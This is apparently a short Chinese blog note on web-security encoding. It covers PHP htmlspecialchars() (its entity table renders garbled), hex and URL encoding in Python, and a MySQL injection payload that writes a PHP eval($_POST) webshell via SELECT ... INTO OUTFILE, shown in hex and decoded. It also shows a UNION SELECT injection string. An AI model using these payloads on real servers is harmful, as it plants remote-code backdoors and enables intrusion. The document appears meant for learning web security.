@websec007
2017-05-06T22:50:34.000000Z
字数 1081
阅读 2335
未分类
定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符如下:
预定义字符 | 字符转换后 |
---|---|
& (和号) | &; |
"(双引号) | "; |
' (单引号) | '; |
< (小于) | <; |
> (大于) | >; |
注意以上“;”是中文字符,用于使用英文字符会直接被html解析。
十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
比如:
[SQL]
select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'
下面是python实现hex加解密的方法:
[Python]
>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。
[Python]
# url 转码
>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
# url 解码
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
# url 编码
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'
秒用python转码链接:http://mp.weixin.qq.com/s/YE-pYQ61tKvaGTGKq-FjMA
xss 自学学习好文链接:http://mp.weixin.qq.com/s/zbQ1gNjKOynMxqjnDBN3fQ